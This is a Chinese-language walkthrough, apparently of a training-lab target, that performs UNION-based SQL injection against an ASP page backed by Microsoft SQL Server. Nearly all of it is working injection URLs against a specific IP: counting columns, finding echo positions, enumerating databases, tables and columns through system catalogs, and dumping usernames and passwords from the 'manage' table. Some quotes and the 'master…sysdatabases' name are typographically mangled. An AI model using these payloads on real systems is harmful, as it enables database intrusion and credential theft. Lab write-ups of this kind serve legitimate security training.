http://219.153.49.228:41537/new_list.asp?id=2-0 返回正常
http://219.153.49.228:41537/new_list.asp?id=2‘ 报错
http://219.153.49.228:41537/new_list.asp?id=2 order by 10 报错
http://219.153.49.228:41537/new_list.asp?id=2 order by 5 报错
http://219.153.49.228:41537/new_list.asp?id=2 order by 3 正常
http://219.153.49.228:41537/new_list.asp?id=2 order by 4 正常
由此我们可以判断:字段数为4。
因为数据库为sqlsever,所以我们注入用null,不用数字填充,因为数字填充可能会版本不兼容而报错。
http://219.153.49.228:41537/new_list.asp?id=2 union all select null,null,null,null (这里使用union select 会报错)
这里找到2 3 位置可以回显信息。
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,(select top 1 name from master…sysdatabases where dbid>4),‘aa’,null
这里条件语句写法where dbid>4,是因为Microsoft SQL Server自带四个系统数据库。
我们来查一下试试:)
dbid>1
dbid>2
结果正是如此。
这里还有一种方法可以直接爆出所有数据库。219.153.49.228:41537/new_list.asp?id=-2 union all select 1,(select name from master…sysdatabases for xml path),‘aa’,null
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’ ),‘aa’,null
查询数据库mozhe_db_v2里第一条记录。
查询第二个表名:
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u’and name <> (‘manage’) ),‘aa’,null
name <> (‘manage’)名字不等于manage的表。
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u’and name <> ‘manage’ and name <>‘announcement’ ),‘aa’,null
name <> ‘manage’ and name <>‘announcement’ 查询 表字不等于manage,announcement的表。
这里显示空,表示数据库里就只有两张表。
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,db_name(),(select top 1 col_name(object_id(‘manage’),1) from sysobjects),null
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,db_name(),(select top 1 col_name(object_id(‘manage’),2) from sysobjects),null
http://219.153.49.228:41537/new_list.asp?id=-2 union all select 1,db_name(),(select top 1 col_name(object_id(‘manage’),3) from sysobjects),null
http://219.153.49.228:41537/new_list.asp?id=-2 union all select null,username, password ,null from manage